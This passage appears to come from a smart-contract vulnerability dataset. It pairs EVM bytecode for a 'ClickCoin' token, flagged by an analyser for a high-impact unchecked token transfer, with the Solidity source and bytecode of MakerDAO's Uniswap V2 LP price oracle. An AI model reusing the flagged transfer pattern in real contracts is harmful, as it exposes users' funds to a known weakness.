5b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610adf565b005b34801561043c57600080fd5b50610445610cff565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc4565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4b565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600981526020017f436c69636b436f696e000000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc4565b14806106f95750600082145b151561070457600080fd5b61070e8383610fac565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109e565b90505b9392505050565b600881565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad5576109d06607d0e36a818000600454611484565b8211156109e05760009050610ada565b610a286000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a766004548361149d565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ada565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7857600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1e57600080fd5b505af1158015610c32573d6000803e3d6000fd5b505050506040513d6020811015610c4857600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f434c43000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9357600080fd5b600560009054906101000a900460ff1615610db15760009050610dbe565b610dbb83836114bb565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee257600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110db57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611168576000905061147d565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b7576000905061147d565b6000821180156111f357508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114135761127e600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113466000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d06000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149257fe5b818303905092915050565b60008082840190508381101515156114b157fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f857600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115475760009050611707565b60008211801561158357508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169d576115d06000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165a6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820aa43dbc7340940be72e06f87a06b2b7e9fa471eb7669ecc8e5083fb9fd36f3460029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,624 |
0x8Ce9E9442F2791FC63CD6394cC12F2dE4fbc1D71 | /**
*Submitted for verification at Etherscan.io on 2021-02-04
*/
// SPDX-License-Identifier: GPL-3.0-or-later
/// UNIV2LPOracle.sol
// Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// INVARIANT k = reserve0 [num token0] * reserve1 [num token1]
//
// k = r_x * r_y
// r_y = k / r_x
//
// 50-50 pools try to stay balanced in dollar terms
// r_x * p_x = r_y * p_y // Proportion of r_x and r_y can be manipulated so need to normalize them
//
// r_x * p_x = p_y * (k / r_x)
// r_x^2 = k * p_y / p_x
// r_x = sqrt(k * p_y / p_x) & r_y = sqrt(k * p_x / p_y)
//
// Now that we've calculated normalized values of r_x and r_y that are not prone to manipulation by an attacker,
// we can calculate the price of an lp token using the following formula.
//
// p_lp = (r_x * p_x + r_y * p_y) / supply_lp
//
pragma solidity ^0.6.11;
interface ERC20Like {
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface UniswapV2PairLike {
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast
}
interface OracleLike {
function read() external view returns (uint256);
function peek() external view returns (uint256,bool);
}
// Factory for creating Uniswap V2 LP Token Oracle instances
contract UNIV2LPOracleFactory {
mapping(address => bool) public isOracle;
event Created(address sender, address orcl, bytes32 wat, address tok0, address tok1, address orb0, address orb1);
// Create new Uniswap V2 LP Token Oracle instance
function build(address _src, bytes32 _wat, address _orb0, address _orb1) public returns (address orcl) {
address tok0 = UniswapV2PairLike(_src).token0();
address tok1 = UniswapV2PairLike(_src).token1();
orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1));
UNIV2LPOracle(orcl).rely(msg.sender);
isOracle[orcl] = true;
emit Created(msg.sender, orcl, _wat, tok0, tok1, _orb0, _orb1);
}
}
contract UNIV2LPOracle {
// --- Auth ---
mapping (address => uint) public wards; // Addresses with admin authority
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } // Add admin
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized");
_;
}
// --- Stop ---
uint256 public stopped; // Stop/start ability to read
modifier stoppable { require(stopped == 0, "UNIV2LPOracle/is-stopped"); _; }
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; }
// --- Data ---
uint8 public immutable dec0; // Decimals of token0
uint8 public immutable dec1; // Decimals of token1
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
bytes32 public immutable wat; // Token whose price is being tracked
uint32 public hop = 1 hours; // Minimum time inbetween price updates
address public src; // Price source
uint32 public zzz; // Time of last price update
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed public cur; // Current price
Feed public nxt; // Queued price
// --- Math ---
uint256 constant WAD = 10 ** 18;
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0 && (z = x / y) * y == x, "ds-math-divide-by-zero");
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
// Compute the square root using the Babylonian method.
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Change(address indexed src);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "UNIV2LPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
src = _src;
zzz = 0;
wat = _wat;
dec0 = uint8(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); // Get decimals of token0
dec1 = uint8(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); // Get decimals of token1
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function change(address _src) external auth {
src = _src;
emit Change(src);
}
function step(uint256 _hop) external auth {
require(_hop <= uint32(-1), "UNIV2LPOracle/invalid-hop");
hop = uint32(_hop);
emit Step(hop);
}
function link(uint256 id, address orb) external auth {
require(orb != address(0), "UNIV2LPOracle/no-contract-0");
if(id == 0) {
orb0 = orb;
} else if (id == 1) {
orb1 = orb;
}
emit Link(id, orb);
}
function pass() public view returns (bool ok) {
return block.timestamp >= add(zzz, hop);
}
function seek() internal returns (uint128 quote, uint32 ts) {
// Sync up reserves of uniswap liquidity pool
UniswapV2PairLike(src).sync();
// Get reserves of uniswap liquidity pool
(uint112 res0, uint112 res1, uint32 _ts) = UniswapV2PairLike(src).getReserves();
require(res0 > 0 && res1 > 0, "UNIV2LPOracle/invalid-reserves");
ts = _ts;
require(ts == block.timestamp);
// Adjust reserves w/ respect to decimals
if (dec0 != uint8(18)) res0 = uint112(res0 * 10 ** sub(18, dec0));
if (dec1 != uint8(18)) res1 = uint112(res1 * 10 ** sub(18, dec1));
// Calculate constant product invariant k (WAD * WAD)
uint256 k = mul(res0, res1);
// All Oracle prices are priced with 18 decimals against USD
uint256 val0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
uint256 val1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(val0 != 0, "UNIV2LPOracle/invalid-oracle-0-price");
require(val1 != 0, "UNIV2LPOracle/invalid-oracle-1-price");
// Calculate normalized balances of token0 and token1
uint256 bal0 =
sqrt(
wmul(
k,
wdiv(
val1,
val0
)
)
);
uint256 bal1 = wdiv(k, bal0) / WAD;
// Get LP token supply
uint256 supply = ERC20Like(src).totalSupply();
require(supply > 0, "UNIV2LPOracle/invalid-lp-token-supply");
// Calculate price quote of LP token
quote = uint128(
wdiv(
add(
wmul(bal0, val0), // (WAD)
wmul(bal1, val1) // (WAD)
),
supply // (WAD)
)
);
}
function poke() external stoppable {
require(pass(), "UNIV2LPOracle/not-passed");
(uint val, uint32 ts) = seek();
require(val != 0, "UNIV2LPOracle/invalid-price");
cur = nxt;
nxt = Feed(uint128(val), 1);
zzz = ts;
emit Value(cur.val, nxt.val);
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "UNIV2LPOracle/no-current-value");
return (bytes32(uint(cur.val)));
}
function kiss(address a) external auth {
require(a != address(0), "UNIV2LPOracle/no-contract-0");
bud[a] = 1;
}
function kiss(address[] calldata a) external auth {
for(uint i = 0; i < a.length; i++) {
require(a[i] != address(0), "UNIV2LPOracle/no-contract-0");
bud[a[i]] = 1;
}
}
function diss(address a) external auth {
bud[a] = 0;
}
function diss(address[] calldata a) external auth {
for(uint i = 0; i < a.length; i++) {
bud[a[i]] = 0;
}
}
} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806365af790911610104578063a7a1ed72116100a2578063c478a1b111610071578063c478a1b1146107b0578063cc32b7d5146107d4578063dca44f6f146107f8578063f29c29c414610842576101cf565b8063a7a1ed7214610702578063b0b8579b14610724578063be9a65551461074e578063bf353dbb14610758576101cf565b80636c2552f9116100de5780636c2552f91461062c57806375f12b21146106765780639c52a7f114610694578063a4dff0a2146106d8576101cf565b806365af79091461055657806365c4ce7a146105a457806365fae35e146105e8576101cf565b80633a1cde75116101715780634fce7a2a1161014b5780634fce7a2a1461044a5780634fe24251146104a257806357de26a41461050f57806359e02dd71461052d576101cf565b80633a1cde751461038557806346d4577d146103b35780634ca299231461042c576101cf565b806318178358116101ad57806318178358146102745780631b25b65f1461027e5780631e77933e146102f75780632e7dc6af1461033b576101cf565b806303e0187a146101d457806307da68f5146102415780630e5a6c701461024b575b600080fd5b6101dc610886565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6102496108d0565b005b6102536109b9565b60405180838152602001821515151581526020019250505060405180910390f35b61027c610aca565b005b6102f56004803603602081101561029457600080fd5b81019080803590602001906401000000008111156102b157600080fd5b8201836020820111156102c357600080fd5b803590602001918460208302840111640100000000831117156102e557600080fd5b9091929391929390505050610ebc565b005b6103396004803603602081101561030d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110cb565b005b610343611228565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b16004803603602081101561039b57600080fd5b810190808035906020019092919050505061124e565b005b61042a600480360360208110156103c957600080fd5b81019080803590602001906401000000008111156103e657600080fd5b8201836020820111156103f857600080fd5b8035906020019184602083028401116401000000008311171561041a57600080fd5b9091929391929390505050611411565b005b610434611555565b6040518082815260200191505060405180910390f35b61048c6004803603602081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611579565b6040518082815260200191505060405180910390f35b6104aa611591565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6105176115db565b6040518082815260200191505060405180910390f35b61053561175a565b60405180838152602001821515151581526020019250505060405180910390f35b6105a26004803603604081101561056c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061186b565b005b6105e6600480360360208110156105ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611acc565b005b61062a600480360360208110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc8565b005b610634611d06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067e611d2c565b6040518082815260200191505060405180910390f35b6106d6600480360360208110156106aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d32565b005b6106e0611e70565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b61070a611e86565b604051808215151515815260200191505060405180910390f35b61072c611eca565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b610756611ee0565b005b61079a6004803603602081101561076e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fca565b6040518082815260200191505060405180910390f35b6107b8611fe2565b604051808260ff1660ff16815260200191505060405180910390f35b6107dc612006565b604051808260ff1660ff16815260200191505060405180910390f35b61080061202a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108846004803603602081101561085857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612050565b005b60078060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905082565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600180819055507fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b60405160405180910390a1565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b600760000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600760000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614915091509091565b600060015414610b42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f69732d73746f70706564000000000000000081525060200191505060405180910390fd5b610b4a611e86565b610bbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f6e6f742d706173736564000000000000000081525060200191505060405180910390fd5b600080610bc76121ef565b91506fffffffffffffffffffffffffffffffff1691506000821415610c54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f696e76616c69642d7072696365000000000081525060200191505060405180910390fd5b600760066000820160009054906101000a90046fffffffffffffffffffffffffffffffff168160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506000820160109054906101000a90046fffffffffffffffffffffffffffffffff168160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055509050506040518060400160405280836fffffffffffffffffffffffffffffffff16815260200160016fffffffffffffffffffffffffffffffff16815250600760008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505080600560146101000a81548163ffffffff021916908363ffffffff1602179055507f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b73600660000160009054906101000a90046fffffffffffffffffffffffffffffffff16600760000160009054906101000a90046fffffffffffffffffffffffffffffffff1660405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008090505b828290508110156110c657600073ffffffffffffffffffffffffffffffffffffffff16838383818110610fa557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b60016002600085858581811061105e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050610f76565b505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f02dc774d82d07722c8c43c212eebb2feaea7924c5472da3b7c2ba5fb532087c760405160405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63ffffffff1681111561139e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f554e4956324c504f7261636c652f696e76616c69642d686f700000000000000081525060200191505060405180910390fd5b80600460146101000a81548163ffffffff021916908363ffffffff1602179055507fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817600460149054906101000a900463ffffffff16604051808263ffffffff16815260200191505060405180910390a150565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146114c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008090505b82829050811015611550576000600260008585858181106114e857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806001019150506114cb565b505050565b7f554e495632554e4945544800000000000000000000000000000000000000000081565b60026020528060005260406000206000915090505481565b60068060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905082565b60006001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611675576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b6001600660000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff161461171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c7565000081525060200191505060405180910390fd5b600660000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b905090565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146117f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b600660000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600660000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614915091509091565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461191f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b